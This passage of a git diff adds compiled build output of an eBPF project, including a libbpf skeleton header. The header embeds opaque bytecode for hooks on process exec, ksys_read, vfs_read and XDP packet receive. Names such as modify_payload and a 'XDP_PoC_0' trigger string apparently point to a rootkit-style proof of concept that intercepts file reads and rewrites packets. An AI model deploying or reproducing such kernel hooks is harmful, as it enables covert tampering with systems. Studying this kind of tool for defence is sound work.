diff --git a/src/.output/xdp_filter.bpf.o b/src/.output/xdp_filter.bpf.o index 074fd5b..0e6a337 100644 Binary files a/src/.output/xdp_filter.bpf.o and b/src/.output/xdp_filter.bpf.o differ diff --git a/src/.output/xdp_filter.o b/src/.output/xdp_filter.o new file mode 100644 index 0000000..6097055 Binary files /dev/null and b/src/.output/xdp_filter.o differ diff --git a/src/.output/xdp_filter.skel.h b/src/.output/xdp_filter.skel.h new file mode 100644 index 0000000..3ab0457 --- /dev/null +++ b/src/.output/xdp_filter.skel.h @@ -0,0 +1,1459 @@ +/* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */ + +/* THIS FILE IS AUTOGENERATED! */ +#ifndef __XDP_FILTER_BPF_SKEL_H__ +#define __XDP_FILTER_BPF_SKEL_H__ + +#include +#include + +struct xdp_filter_bpf { + struct bpf_object_skeleton *skeleton; + struct bpf_object *obj; + struct { + struct bpf_map *fs_open; + struct bpf_map *rb_comm; + struct bpf_map *rodata; + } maps; + struct { + struct bpf_program *handle_sched_process_exec; + struct bpf_program *kprobe_ksys_read; + struct bpf_program *kretprobe_vfs_read; + struct bpf_program *xdp_receive; + } progs; + struct { + struct bpf_link *handle_sched_process_exec; + struct bpf_link *kprobe_ksys_read; + struct bpf_link *kretprobe_vfs_read; + struct bpf_link *xdp_receive; + } links; + struct xdp_filter_bpf__rodata { + char kprobe_ksys_read_____fmt[7]; + char kretprobe_vfs_read_____fmt_1[11]; + char __pad0[15]; + char kretprobe_vfs_read_____fmt_3[28]; + char kretprobe_vfs_read_____fmt_4[30]; + char kretprobe_vfs_read_____fmt_5[19]; + char xdp_receive_____fmt[19]; + char xdp_receive_____fmt_6[2]; + char xdp_receive_____fmt_7[2]; + char xdp_receive_____fmt_8[6]; + char xdp_receive_____fmt_9[23]; + char xdp_receive_____fmt_10[2]; + char xdp_receive_____fmt_11[54]; + char xdp_receive_____fmt_13[2]; + char xdp_receive_____fmt_14[31]; + char xdp_receive_____fmt_15[71]; + char xdp_receive_____fmt_16[38]; + char xdp_receive_____fmt_17[38]; + char xdp_receive_____fmt_18[38]; + char xdp_receive_____fmt_19[31]; + char xdp_receive_____fmt_20[38]; + char xdp_receive_____fmt_21[38]; + char xdp_receive_____fmt_23[53]; + char xdp_receive_____fmt_24[38]; + char xdp_receive_____fmt_25[41]; + char xdp_receive_____fmt_26[31]; + char xdp_receive_____fmt_27[42]; + char handle_sys_read_____fmt[19]; + char expand_tcp_packet_payload_____fmt[52]; + char expand_tcp_packet_payload_____fmt_28[38]; + char expand_tcp_packet_payload_____fmt_29[38]; + char expand_tcp_packet_payload_____fmt_30[38]; + char expand_tcp_packet_payload_____fmt_31[25]; + char expand_tcp_packet_payload_____fmt_32[24]; + char ipv4_csum_____fmt[42]; + char modify_payload_____fmt[45]; + char modify_payload_____fmt_34[45]; + } *rodata; +}; + +static void +xdp_filter_bpf__destroy(struct xdp_filter_bpf *obj) +{ + if (!obj) + return; + if (obj->skeleton) + bpf_object__destroy_skeleton(obj->skeleton); + free(obj); +} + +static inline int +xdp_filter_bpf__create_skeleton(struct xdp_filter_bpf *obj); + +static inline struct xdp_filter_bpf * +xdp_filter_bpf__open_opts(const struct bpf_object_open_opts *opts) +{ + struct xdp_filter_bpf *obj; + + obj = (struct xdp_filter_bpf *)calloc(1, sizeof(*obj)); + if (!obj) + return NULL; + if (xdp_filter_bpf__create_skeleton(obj)) + goto err; + if (bpf_object__open_skeleton(obj->skeleton, opts)) + goto err; + + return obj; +err: + xdp_filter_bpf__destroy(obj); + return NULL; +} + +static inline struct xdp_filter_bpf * +xdp_filter_bpf__open(void) +{ + return xdp_filter_bpf__open_opts(NULL); +} + +static inline int +xdp_filter_bpf__load(struct xdp_filter_bpf *obj) +{ + return bpf_object__load_skeleton(obj->skeleton); +} + +static inline struct xdp_filter_bpf * +xdp_filter_bpf__open_and_load(void) +{ + struct xdp_filter_bpf *obj; + + obj = xdp_filter_bpf__open(); + if (!obj) + return NULL; + if (xdp_filter_bpf__load(obj)) { + xdp_filter_bpf__destroy(obj); + return NULL; + } + return obj; +} + +static inline int +xdp_filter_bpf__attach(struct xdp_filter_bpf *obj) +{ + return bpf_object__attach_skeleton(obj->skeleton); +} + +static inline void +xdp_filter_bpf__detach(struct xdp_filter_bpf *obj) +{ + return bpf_object__detach_skeleton(obj->skeleton); +} + +static inline int +xdp_filter_bpf__create_skeleton(struct xdp_filter_bpf *obj) +{ + struct bpf_object_skeleton *s; + + s = (struct bpf_object_skeleton *)calloc(1, sizeof(*s)); + if (!s) + return -1; + obj->skeleton = s; + + s->sz = sizeof(*s); + s->name = "xdp_filter_bpf"; + s->obj = &obj->obj; + + /* maps */ + s->map_cnt = 3; + s->map_skel_sz = sizeof(*s->maps); + s->maps = (struct bpf_map_skeleton *)calloc(s->map_cnt, s->map_skel_sz); + if (!s->maps) + goto err; + + s->maps[0].name = "fs_open"; + s->maps[0].map = &obj->maps.fs_open; + + s->maps[1].name = "rb_comm"; + s->maps[1].map = &obj->maps.rb_comm; + + s->maps[2].name = "xdp_filt.rodata"; + s->maps[2].map = &obj->maps.rodata; + s->maps[2].mmaped = (void **)&obj->rodata; + + /* programs */ + s->prog_cnt = 4; + s->prog_skel_sz = sizeof(*s->progs); + s->progs = (struct bpf_prog_skeleton *)calloc(s->prog_cnt, s->prog_skel_sz); + if (!s->progs) + goto err; + + s->progs[0].name = "handle_sched_process_exec"; + s->progs[0].prog = &obj->progs.handle_sched_process_exec; + s->progs[0].link = &obj->links.handle_sched_process_exec; + + s->progs[1].name = "kprobe_ksys_read"; + s->progs[1].prog = &obj->progs.kprobe_ksys_read; + s->progs[1].link = &obj->links.kprobe_ksys_read; + + s->progs[2].name = "kretprobe_vfs_read"; + s->progs[2].prog = &obj->progs.kretprobe_vfs_read; + s->progs[2].link = &obj->links.kretprobe_vfs_read; + + s->progs[3].name = "xdp_receive"; + s->progs[3].prog = &obj->progs.xdp_receive; + s->progs[3].link = &obj->links.xdp_receive; + + s->data_sz = 31640; + s->data = (void *)"\ +\x7f\x45\x4c\x46\x02\x01\x01\0\0\0\0\0\0\0\0\0\x01\0\xf7\0\x01\0\0\0\0\0\0\0\0\ +\0\0\0\0\0\0\0\0\0\0\0\xd8\x76\0\0\0\0\0\0\0\0\0\0\x40\0\0\0\0\0\x40\0\x13\0\ +\x12\0\x85\0\0\0\x0e\0\0\0\xb7\0\0\0\0\0\0\0\x95\0\0\0\0\0\0\0\x55\x01\x05\0\0\ +\0\0\0\x18\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xb7\x02\0\0\x07\0\0\0\x85\0\0\0\x06\ +\0\0\0\x05\0\x17\0\0\0\0\0\x79\x16\x10\0\0\0\0\0\x79\x18\x18\0\0\0\0\0\x85\0\0\ +\0\x0e\0\0\0\xbf\x07\0\0\0\0\0\0\x7b\x7a\xf8\xff\0\0\0\0\x7b\x8a\xe8\xff\0\0\0\ +\0\x77\x07\0\0\x20\0\0\0\x63\x7a\xf4\xff\0\0\0\0\x63\x6a\xf0\xff\0\0\0\0\xbf\ +\xa2\0\0\0\0\0\0\x07\x02\0\0\xf8\xff\xff\xff\xbf\xa3\0\0\0\0\0\0\x07\x03\0\0\ +\xe8\xff\xff\xff\x18\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xb7\x04\0\0\0\0\0\0\x85\0\ +\0\0\x02\0\0\0\x18\x01\0\0\xec\x02\0\0\0\0\0\0\0\0\0\0\xb7\x02\0\0\x13\0\0\0\ +\xbf\x73\0\0\0\0\0\0\xbf\x64\0\0\0\0\0\0\x85\0\0\0\x06\0\0\0\xb7\0\0\0\0\0\0\0\ +\x95\0\0\0\0\0\0\0\x85\0\0\0\x0e\0\0\0\x7b\x0a\xf8\xff\0\0\0\0\xbf\xa2\0\0\0\0\ +\0\0\x07\x02\0\0\xf8\xff\xff\xff\x18\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x85\0\0\0\ +\x01\0\0\0\x15\0\x02\0\0\0\0\0\x79\x06\0\0\0\0\0\0\x55\x06\x08\0\0\0\0\0\x18\ +\x01\0\0\x07\0\0\0\0\0\0\0\0\0\0\0\xb7\x02\0\0\x0b\0\0\0\x85\0\0\0\x06\0\0\0\ +\x18\x08\0\0\xff\xff\xff\xff\0\0\0\0\0\0\0\0\xbf\x80\0\0\0\0\0\0\x95\0\0\0\0\0\ +\0\0\x61\x07\x0c\0\0\0\0\0\xb7\x09\0\0\0\0\0\0\x73\x9a\xf6\xff\0\0\0\0\x6b\x9a\ +\xf4\xff\0\0\0\0\x63\x9a\xf0\xff\0\0\0\0\xbf\xa1\0\0\0\0\0\0\x07\x01\0\0\xf0\ +\xff\xff\xff\xb7\x02\0\0\x01\0\0\0\xbf\x63\0\0\0\0\0\0\x85\0\0\0\x70\0\0\0\x18\ +\x08\0\0\xff\xff\xff\xff\0\0\0\0\0\0\0\0\x6d\x09\xf1\xff\0\0\0\0\xbf\x63\0\0\0\ +\0\0\0\x07\x03\0\0\x01\0\0\0\xbf\xa1\0\0\0\0\0\0\x07\x01\0\0\xf1\xff\xff\xff\ +\xb7\x02\0\0\x01\0\0\0\x85\0\0\0\x70\0\0\0\x6d\x09\xea\xff\0\0\0\0\xbf\x63\0\0\ +\0\0\0\0\x07\x03\0\0\x02\0\0\0\xbf\xa1\0\0\0\0\0\0\x07\x01\0\0\xf2\xff\xff\xff\ +\xb7\x02\0\0\x01\0\0\0\x85\0\0\0\x70\0\0\0\xb7\x09\0\0\0\0\0\0\x6d\x09\xe2\xff\ +\0\0\0\0\xbf\x63\0\0\0\0\0\0\x07\x03\0\0\x03\0\0\0\xbf\xa1\0\0\0\0\0\0\x07\x01\ +\0\0\xf3\xff\xff\xff\xb7\x02\0\0\x01\0\0\0\x85\0\0\0\x70\0\0\0\x6d\x09\xdb\xff\ +\0\0\0\0\xbf\x63\0\0\0\0\0\0\x07\x03\0\0\x04\0\0\0\xbf\xa1\0\0\0\0\0\0\x07\x01\ +\0\0\xf4\xff\xff\xff\xb7\x02\0\0\x01\0\0\0\x85\0\0\0\x70\0\0\0\xb7\x09\0\0\0\0\ +\0\0\x6d\x09\xd3\xff\0\0\0\0\xbf\x63\0\0\0\0\0\0\x07\x03\0\0\x05\0\0\0\xbf\xa1\ +\0\0\0\0\0\0\x07\x01\0\0\xf5\xff\xff\xff\xb7\x02\0\0\x01\0\0\0\x85\0\0\0\x70\0\ +\0\0\x6d\x09\xcc\xff\0\0\0\0\xb7\x01\0\0\0\0\0\0\x73\x1a\xf6\xff\0\0\0\0\x71\ +\xa2\xf0\xff\0\0\0\0\x57\x02\0\0\xdf\0\0\0\x07\x02\0\0\xbf\xff\xff\xff\x57\x02\ +\0\0\xff\0\0\0\xb7\x01\0\0\x1a\0\0\0\x2d\x21\x01\0\0\0\0\0\x05\0\xc3\xff\0\0\0\ +\0\x71\xa2\xf1\xff\0\0\0\0\x57\x02\0\0\xdf\0\0\0\x07\x02\0\0\xbf\xff\xff\xff\ +\x57\x02\0\0\xff\0\0\0\x2d\x21\x01\0\0\0\0\0\x05\0\xbd\xff\0\0\0\0\x71\xa1\xf2\ +\xff\0\0\0\0\x57\x01\0\0\xdf\0\0\0\x07\x01\0\0\xbf\xff\xff\xff\x57\x01\0\0\xff\ +\0\0\0\x25\x01\xb8\xff\x19\0\0\0\x71\xa1\xf3\xff\0\0\0\0\x57\x01\0\0\xdf\0\0\0\ +\x07\x01\0\0\xbf\xff\xff\xff\x57\x01\0\0\xff\0\0\0\x25\x01\xb3\xff\x19\0\0\0\ +\x71\xa1\xf4\xff\0\0\0\0\x57\x01\0\0\xdf\0\0\0\x07\x01\0\0\xbf\xff\xff\xff\x57\ +\x01\0\0\xff\0\0\0\x25\x01\xae\xff\x19\0\0\0\x71\xa1\xf5\xff\0\0\0\0\x57\x01\0\ +\0\xdf\0\0\0\x07\x01\0\0\xbf\xff\xff\xff\x57\x01\0\0\xff\0\0\0\x25\x01\xa9\xff\ +\x19\0\0\0\x18\x01\0\0\x21\0\0\0\0\0\0\0\0\0\0\0\xb7\x02\0\0\x1c\0\0\0\xbf\x73\ +\0\0\0\0\0\0\xbf\x64\0\0\0\0\0\0\x85\0\0\0\x06\0\0\0\xbf\x61\0\0\0\0\0\0\x18\ +\x02\0\0\x12\0\0\0\0\0\0\0\0\0\0\0\xb7\x03\0\0\x01\0\0\0\x85\0\0\0\x24\0\0\0\ +\xb7\x08\0\0\0\0\0\0\x6d\x08\x01\0\0\0\0\0\x05\0\x04\0\0\0\0\0\x18\x01\0\0\x3d\ +\0\0\0\0\0\0\0\0\0\0\0\xb7\x02\0\0\x1e\0\0\0\x85\0\0\0\x06\0\0\0\x18\x01\0\0\ +\x5b\0\0\0\0\0\0\0\0\0\0\0\xb7\x02\0\0\x13\0\0\0\xbf\x73\0\0\0\0\0\0\xbf\x64\0\ +\0\0\0\0\0\x85\0\0\0\x06\0\0\0\x05\0\x90\xff\0\0\0\0\xbf\x16\0\0\0\0\0\0\x61\ +\x65\x04\0\0\0\0\0\x61\x67\0\0\0\0\0\0\xbf\x79\0\0\0\0\0\0\x07\x09\0\0\x0e\0\0\ +\0\x3d\x95\x04\0\0\0\0\0\x18\x01\0\0\x6e\0\0\0\0\0\0\0\0\0\0\0\xb7\x02\0\0\x13\ +\0\0\0\x05\0\x0e\0\0\0\0\0\xbf\x78\0\0\0\0\0\0\x07\x08\0\0\x22\0\0\0\x3d\x85\ +\x03\0\0\0\0\0\x18\x01\0\0\x81\0\0\0\0\0\0\0\0\0\0\0\x05\0\x07\0\0\0\0\0\x71\ +\x91\x09\0\0\0\0\0\x55\x01\x07\0\x06\0\0\0\xbf\x71\0\0\0\0\0\0\x07\x01\0\0\x36\ +\0\0\0\x3d\x15\x06\0\0\0\0\0\x18\x01\0\0\x83\0\0\0\0\0\0\0\0\0\0\0\xb7\x02\0\0\ +\x02\0\0\0\x85\0\0\0\x06\0\0\0\xb7\0\0\0\x02\0\0\0\x95\0\0\0\0\0\0\0\x69\x81\ +\x02\0\0\0\0\0\x15\x01\x07\0\x23\x28\0\0\x69\x83\x02\0\0\0\0\0\xdc\x03\0\0\x10\ +\0\0\0\x18\x01\0\0\x85\0\0\0\0\0\0\0\0\0\0\0\xb7\x02\0\0\x06\0\0\0\x85\0\0\0\ +\x06\0\0\0\x05\0\xf5\xff\0\0\0\0\x69\x93\x02\0\0\0\0\0\xdc\x03\0\0\x10\0\0\0\ +\x69\x81\x0c\0\0\0\0\0\x77\x01\0\0\x02\0\0\0\x57\x01\0\0\x3c\0\0\0\x1f\x13\0\0\ +\0\0\0\0\x71\x92\0\0\0\0\0\0\x67\x02\0\0\x02\0\0\0\x57\x02\0\0\x3c\0\0\0\x1f\ +\x23\0\0\0\0\0\0\xbf\x84\0\0\0\0\0\0\x0f\x14\0\0\0\0\0\0\x15\x03\x05\0\x09\0\0\ +\0\x18\x01\0\0\x8b\0\0\0\0\0\0\0\0\0\0\0\xb7\x02\0\0\x17\0\0\0\x85\0\0\0\x06\0\ +\0\0\x05\0\xe3\xff\0\0\0\0\xbf\x41\0\0\0\0\0\0\x07\x01\0\0\x09\0\0\0\x3d\x15\ +\x03\0\0\0\0\0\x18\x01\0\0\xa2\0\0\0\0\0\0\0\0\0\0\0\x05\0\xdb\xff\0\0\0\0\x7b\ +\x5a\xb0\xff\0\0\0\0\x18\x01\0\0\xa4\0\0\0\0\0\0\0\0\0\0\0\xb7\x02\0\0\x36\0\0\ +\0\xbf\x43\0\0\0\0\0\0\x7b\x4a\xb8\xff\0\0\0\0\xb7\x04\0\0\x09\0\0\0\x85\0\0\0\ +\x06\0\0\0\x79\xa4\xb8\xff\0\0\0\0\x71\x41\0\0\0\0\0\0\x15\x01\x03\0\x58\0\0\0\ +\x18\x01\0\0\xda\0\0\0\0\0\0\0\0\0\0\0\x05\0\xcd\xff\0\0\0\0\x71\x41\x01\0\0\0\ +\0\0\x55\x01\xfb\xff\x44\0\0\0\x71\x41\x02\0\0\0\0\0\x55\x01\xf9\xff\x50\0\0\0\ +\x71\x41\x03\0\0\0\0\0\x55\x01\xf7\xff\x5f\0\0\0\x71\x41\x04\0\0\0\0\0\x55\x01\ +\xf5\xff\x50\0\0\0\x71\x41\x05\0\0\0\0\0\x55\x01\xf3\xff\x6f\0\0\0\x71\x41\x06\ +\0\0\0\0\0\x55\x01\xf1\xff\x43\0\0\0\x71\x41\x07\0\0\0\0\0\x55\x01\xef\xff\x5f\ +\0\0\0\x71\x41\x08\0\0\0\0\0\x55\x01\xed\xff\x30\0\0\0\x18\x01\0\0\xdc\0\0\0\0\ +\0\0\0\0\0\0\0\xb7\x02\0\0\x1f\0\0\0\x79\xa3\xb0\xff\0\0\0\0\x85\0\0\0\x06\0\0\ +\0\x69\x71\x0a\0\0\0\0\0\x67\x01\0\0\x10\0\0\0\x69\x72\x08\0\0\0\0\0\x4f\x21\0\ +\0\0\0\0\0\x69\x72\x0c\0\0\0\0\0\x6b\x2a\xfc\xff\0\0\0\0\x63\x1a\xf8\xff\0\0\0\ +\0\x69\x71\x02\0\0\0\0\0\x67\x01\0\0\x10\0\0\0\x69\x72\0\0\0\0\0\0\x4f\x21\0\0\ +\0\0\0\0\x69\x72\x04\0\0\0\0\0\x69\x73\x06\0\0\0\0\0\x67\x03\0\0\x10\0\0\0\x4f\ +\x23\0\0\0\0\0\0\x67\x03\0\0\x20\0\0\0\x4f\x13\0\0\0\0\0\0\x7b\x3a\xf0\xff\0\0\ +\0\0\x61\x91\x0c\0\0\0\0\0\x67\x01\0\0\x20\0\0\0\x61\x92\x08\0\0\0\0\0\x4f\x21\ +\0\0\0\0\0\0\x61\x92\x10\0\0\0\0\0\x63\x2a\xe8\xff\0\0\0\0\x7b\x1a\xe0\xff\0\0\ +\0\0\x61\x91\0\0\0\0\0\0\x61\x92\x04\0\0\0\0\0\x67\x02\0\0\x20\0\0\0\x4f\x12\0\ +\0\0\0\0\0\x7b\x2a\xd8\xff\0\0\0\0\x61\x81\x04\0\0\0\0\0\x67\x01\0\0\x20\0\0\0\ +\x61\x82\0\0\0\0\0\0\x4f\x21\0\0\0\0\0\0\x61\x82\x10\0\0\0\0\0\x63\x2a\xd0\xff\ +\0\0\0\0\x7b\x1a\xc0\xff\0\0\0\0\x61\x81\x08\0\0\0\0\0\x61\x82\x0c\0\0\0\0\0\ +\x67\x02\0\0\x20\0\0\0\x4f\x12\0\0\0\0\0\0\x7b\x2a\xc8\xff\0\0\0\0\xbf\x61\0\0\ +\0\0\0\0\xb7\x02\0\0\x1e\0\0\0\x85\0\0\0\x41\0\0\0\x15\0\x0a\0\0\0\0\0\x18\x01\ +\0\0\xff\x02\0\0\0\0\0\0\0\0\0\0\xb7\x02\0\0\x34\0\0\0\xb7\x03\0\0\x1e\0\0\0\ +\x85\0\0\0\x06\0\0\0\x18\x01\0\0\xff\xff\xff\xff\0\0\0\0\0\0\0\0\x7b\x1a\xa8\ +\xff\0\0\0\0\xb7\x08\0\0\0\0\0\0\x05\0\x1a\0\0\0\0\0\x61\x62\0\0\0\0\0\0\xbf\ +\x29\0\0\0\0\0\0\x07\x09\0\0\x22\0\0\0\x61\x61\x04\0\0\0\0\0\x7b\x2a\xa0\xff\0\ +\0\0\0\x07\x02\0\0\x0e\0\0\0\x7b\x2a\x98\xff\0\0\0\0\x3d\x21\x03\0\0\0\0\0\x18\ +\x01\0\0\x33\x03\0\0\0\0\0\0\0\0\0\0\x05\0\x09\0\0\0\0\0\x3d\x91\x03\0\0\0\0\0\ +\x18\x01\0\0\x59\x03\0\0\0\0\0\0\0\0\0\0\x05\0\x05\0\0\0\0\0\x79\xa2\xa0\xff\0\ +\0\0\0\x07\x02\0\0\x36\0\0\0\x3d\x21\x56\0\0\0\0\0\x18\x01\0\0\x7f\x03\0\0\0\0\ +\0\0\0\0\0\0\xb7\x02\0\0\x26\0\0\0\x85\0\0\0\x06\0\0\0\x18\x01\0\0\xff\xff\xff\ +\xff\0\0\0\0\0\0\0\0\x7b\x1a\xa8\xff\0\0\0\0\xb7\x08\0\0\0\0\0\0\x18\x01\0\0\ +\xfb\0\0\0\0\0\0\0\0\0\0\0\xb7\x02\0\0\x47\0\0\0\x79\xa3\xa8\xff\0\0\0\0\xb7\ +\x04\0\0\x1e\0\0\0\x85\0\0\0\x06\0\0\0\x15\x08\x09\0\0\0\0\0\x61\x61\0\0\0\0\0\ +\0\x7b\x1a\xb8\xff\0\0\0\0\x61\x68\x04\0\0\0\0\0\x79\xa1\xa0\xff\0\0\0\0\x07\ +\x01\0\0\x0e\0\0\0\x3d\x18\x20\0\0\0\0\0\x18\x01\0\0\x42\x01\0\0\0\0\0\0\0\0\0\ +\0\x05\0\x1e\x01\0\0\0\0\x18\x01\0\0\x54\x02\0\0\0\0\0\0\0\0\0\0\xb7\x02\0\0\ +\x26\0\0\0\x85\0\0\0\x06\0\0\0\x79\xa9\xb8\xff\0\0\0\0\x7b\x7a\xb8\xff\0\0\0\0\ +\x79\xa8\xb0\xff\0\0\0\0\x79\xa3\xb0\xff\0\0\0\0\x1f\x73\0\0\0\0\0\0\xbf\x84\0\ +\0\0\0\0\0\x79\xa1\xb8\xff\0\0\0\0\x1f\x14\0\0\0\0\0\0\x18\x01\0\0\x7a\x02\0\0\ +\0\0\0\0\0\0\0\0\xb7\x02\0\0\x29\0\0\0\x85\0\0\0\x06\0\0\0\x18\x01\0\0\xa3\x02\ +\0\0\0\0\0\0\0\0\0\0\xb7\x02\0\0\x1f\0\0\0\xbf\x83\0\0\0\0\0\0\xbf\x94\0\0\0\0\ +\0\0\x85\0\0\0\x06\0\0\0\x61\x63\x04\0\0\0\0\0\x18\x01\0\0\xc2\x02\0\0\0\0\0\0\ +\0\0\0\0\xb7\x02\0\0\x2a\0\0\0\xbf\x94\0\0\0\0\0\0\x85\0\0\0\x06\0\0\0\x05\0\ +\x3b\xff\0\0\0\0\x79\xa1\x98\xff\0\0\0\0\x07\x01\0\0\x14\0\0\0\x3d\x18\x03\0\0\ +\0\0\0\x18\x01\0\0\x68\x01\0\0\0\0\0\0\0\0\0\0\x05\0\xfb\0\0\0\0\0\xbf\x91\0\0\ +\0\0\0\0\x07\x01\0\0\x14\0\0\0\x3d\x18\x03\0\0\0\0\0\x18\x01\0\0\x8e\x01\0\0\0\ +\0\0\0\0\0\0\0\x05\0\xf5\0\0\0\0\0\x79\xa2\x98\xff\0\0\0\0\x69\x23\x02\0\0\0\0\ +\0\xdc\x03\0\0\x10\0\0\0\x69\x91\x0c\0\0\0\0\0\x77\x01\0\0\x02\0\0\0\x57\x01\0\ +\0\x3c\0\0\0\x1f\x13\0\0\0\0\0\0\x71\x22\0\0\0\0\0\0\x67\x02\0\0\x02\0\0\0\x57\ +\x02\0\0\x3c\0\0\0\x1f\x23\0\0\0\0\0\0\x7b\x3a\xa0\xff\0\0\0\0\xbf\x32\0\0\0\0\ +\0\0\x67\x02\0\0\x20\0\0\0\x77\x02\0\0\x20\0\0\0\xb7\x03\0\0\x39\x5b\x01\0\x2d\ +\x23\x66\0\0\0\0\0\x18\x01\0\0\xb4\x01\0\0\0\0\0\0\0\0\0\0\xb7\x02\0\0\x1f\0\0\ +\0\x05\0\x19\xff\0\0\0\0\x69\xa1\xfc\xff\0\0\0\0\x79\xa3\xa0\xff\0\0\0\0\x6b\ +\x13\x0c\0\0\0\0\0\x61\xa1\xf8\xff\0\0\0\0\x6b\x13\x08\0\0\0\0\0\x77\x01\0\0\ +\x10\0\0\0\x6b\x13\x0a\0\0\0\0\0\x79\xa1\xf0\xff\0\0\0\0\xbf\x12\0\0\0\0\0\0\ +\x77\x02\0\0\x30\0\0\0\x6b\x23\x06\0\0\0\0\0\xbf\x12\0\0\0\0\0\0\x77\x02\0\0\ +\x20\0\0\0\x6b\x23\x04\0\0\0\0\0\x6b\x13\0\0\0\0\0\0\x77\x01\0\0\x10\0\0\0\x6b\ +\x13\x02\0\0\0\0\0\x61\xa1\xe8\xff\0\0\0\0\x79\xa8\x98\xff\0\0\0\0\x63\x18\x10\ +\0\0\0\0\0\x79\xa1\xe0\xff\0\0\0\0\x63\x18\x08\0\0\0\0\0\x77\x01\0\0\x20\0\0\0\ +\x63\x18\x0c\0\0\0\0\0\x79\xa1\xd8\xff\0\0\0\0\x63\x18\0\0\0\0\0\0\x77\x01\0\0\ +\x20\0\0\0\x63\x18\x04\0\0\0\0\0\x61\xa1\xd0\xff\0\0\0\0\x63\x19\x10\0\0\0\0\0\ +\x79\xa1\xc8\xff\0\0\0\0\x63\x19\x08\0\0\0\0\0\x77\x01\0\0\x20\0\0\0\x63\x19\ +\x0c\0\0\0\0\0\x79\xa1\xc0\xff\0\0\0\0\x63\x19\0\0\0\0\0\0\x77\x01\0\0\x20\0\0\ +\0\x63\x19\x04\0\0\0\0\0\x69\x84\x0a\0\0\0\0\0\x69\x83\x02\0\0\0\0\0\x18\x01\0\ +\0\xa5\x03\0\0\0\0\0\0\0\0\0\0\xb7\x02\0\0\x19\0\0\0\x85\0\0\0\x06\0\0\0\x69\ +\x81\x02\0\0\0\0\0\xdc\x01\0\0\x10\0\0\0\x07\x01\0\0\x1e\0\0\0\xdc\x01\0\0\x10\ +\0\0\0\x6b\x18\x02\0\0\0\0\0\xb7\x02\0\0\0\0\0\0\xb7\x01\0\0\0\0\0\0\x7b\x1a\ +\xa8\xff\0\0\0\0\x6b\x28\x0a\0\0\0\0\0\x18\x01\0\0\xd6\x03\0\0\0\0\0\0\0\0\0\0\ +\xb7\x02\0\0\x2a\0\0\0\xb7\x03\0\0\0\0\0\0\xbf\x84\0\0\0\0\0\0\xb7\x05\0\0\x14\ +\0\0\0\x85\0\0\0\x06\0\0\0\xb7\x01\0\0\0\0\0\0\xb7\x02\0\0\0\0\0\0\xbf\x83\0\0\ +\0\0\0\0\xb7\x04\0\0\x14\0\0\0\xb7\x05\0\0\0\0\0\0\x85\0\0\0\x1c\0\0\0\xbf\x01\ +\0\0\0\0\0\0\x77\x01\0\0\x10\0\0\0\x57\x01\0\0\xff\xff\0\0\x15\x01\x02\0\0\0\0\ +\0\x57\0\0\0\xff\xff\0\0\x0f\x10\0\0\0\0\0\0\xbf\x01\0\0\0\0\0\0\x77\x01\0\0\ +\x10\0\0\0\x57\x01\0\0\xff\xff\0\0\x15\x01\x02\0\0\0\0\0\x57\0\0\0\xff\xff\0\0\ +\x0f\x10\0\0\0\0\0\0\xbf\x01\0\0\0\0\0\0\x77\x01\0\0\x10\0\0\0\x57\x01\0\0\xff\ +\xff\0\0\x15\x01\x02\0\0\0\0\0\x57\0\0\0\xff\xff\0\0\x0f\x10\0\0\0\0\0\0\xbf\ +\x01\0\0\0\0\0\0\x77\x01\0\0\x10\0\0\0\x0f\x01\0\0\0\0\0\0\xa7\x01\0\0\xff\xff\ +\xff\xff\x79\xa2\x98\xff\0\0\0\0\x6b\x12\x0a\0\0\0\0\0\x69\x23\x02\0\0\0\0\0\ +\x69\x24\x0a\0\0\0\0\0\x18\x01\0\0\xbe\x03\0\0\0\0\0\0\0\0\0\0\xb7\x02\0\0\x18\ +\0\0\0\x85\0\0\0\x06\0\0\0\xb7\x08\0\0\x01\0\0\0\x05\0\x50\xff\0\0\0\0\x0f\x19\ +\0\0\0\0\0\0\xbf\x91\0\0\0\0\0\0\x07\x01\0\0\x27\0\0\0\x3d\x18\x03\0\0\0\0\0\ +\x18\x01\0\0\xd3\x01\0\0\0\0\0\0\0\0\0\0\x05\0\x77\0\0\0\0\0\x79\xa1\xa0\xff\0\ +\0\0\0\x67\x01\0\0\x20\0\0\0\x77\x01\0\0\x20\0\0\0\xbf\x92\0\0\0\0\0\0\x0f\x12\ +\0\0\0\0\0\0\x2d\x82\x6f\0\0\0\0\0\xb7\x01\0\0\0\0\0\0\x73\x19\x26\0\0\0\0\0\ +\x73\x19\x25\0\0\0\0\0\x73\x19\x24\0\0\0\0\0\x73\x19\x23\0\0\0\0\0\x73\x19\x22\ +\0\0\0\0\0\x73\x19\x21\0\0\0\0\0\x73\x19\x20\0\0\0\0\0\x73\x19\x1f\0\0\0\0\0\ +\x73\x19\x1e\0\0\0\0\0\x73\x19\x1d\0\0\0\0\0\x73\x19\x1c\0\0\0\0\0\x73\x19\x1b\ +\0\0\0\0\0\x73\x19\x1a\0\0\0\0\0\x73\x19\x19\0\0\0\0\0\x73\x19\x18\0\0\0\0\0\ +\x73\x19\x17\0\0\0\0\0\x73\x19\x16\0\0\0\0\0\x73\x19\x15\0\0\0\0\0\x73\x19\x14\ +\0\0\0\0\0\x73\x19\x13\0\0\0\0\0\x73\x19\x12\0\0\0\0\0\x73\x19\x11\0\0\0\0\0\ +\x73\x19\x10\0\0\0\0\0\x73\x19\x0f\0\0\0\0\0\x73\x19\x0e\0\0\0\0\0\x73\x19\x0d\ +\0\0\0\0\0\x73\x19\x0c\0\0\0\0\0\x73\x19\x0b\0\0\0\0\0\x73\x19\x0a\0\0\0\0\0\ +\x73\x19\x09\0\0\0\0\0\x73\x19\x08\0\0\0\0\0\x73\x19\x07\0\0\0\0\0\x73\x19\x06\ +\0\0\0\0\0\x73\x19\x05\0\0\0\0\0\x73\x19\x04\0\0\0\0\0\x73\x19\x03\0\0\0\0\0\ +\x73\x19\x02\0\0\0\0\0\x73\x19\x01\0\0\0\0\0\x73\x19\0\0\0\0\0\0\xb7\x01\0\0\ +\x27\0\0\0\x79\xa2\xa0\xff\0\0\0\0\x6d\x21\x48\0\0\0\0\0\xbf\x91\0\0\0\0\0\0\ +\x07\x01\0\0\x27\0\0\0\x2d\x81\x45\0\0\0\0\0\x79\xa2\xa0\xff\0\0\0\0\x07\x02\0\ 